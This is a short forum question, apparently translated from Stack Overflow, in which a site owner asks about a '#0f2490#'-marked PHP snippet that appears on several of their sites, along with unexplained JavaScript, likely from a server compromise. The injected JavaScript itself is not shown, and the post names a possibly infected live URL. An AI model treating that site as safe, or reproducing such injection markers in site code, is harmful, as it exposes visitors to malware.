php - 有谁见过: #0f2490# if(empty($b)) { $b = ""; echo $b; } #/0f2490#

Question

我有很多网站，其中有几个，无论是否是 WordPress(有些是基于 .php，有些是核心 HTML。有些是 WordPress 博客，有些只是核心网站)在页面加载时显示这段脚本，我在服务器或代码中找不到它。

#0f2490# if(empty($b)) { $b = " "; echo $b; } #/0f2490#

在检查网站的来源时，似乎有一些 JavaScript 代码正在寻找对某些网站的引用。

我知道这不足以正确解决问题。我想问是否有人听说过这个，并可以为我指明正确的方向，以获取研究和了解这个问题的资源。

您可以在 http://chiuaua.ca 处亲自查看输出。

作为引用，这是在 FireFox 或 Chrome 中使用源代码查看器时出现在网站上的 JavaScript 代码...
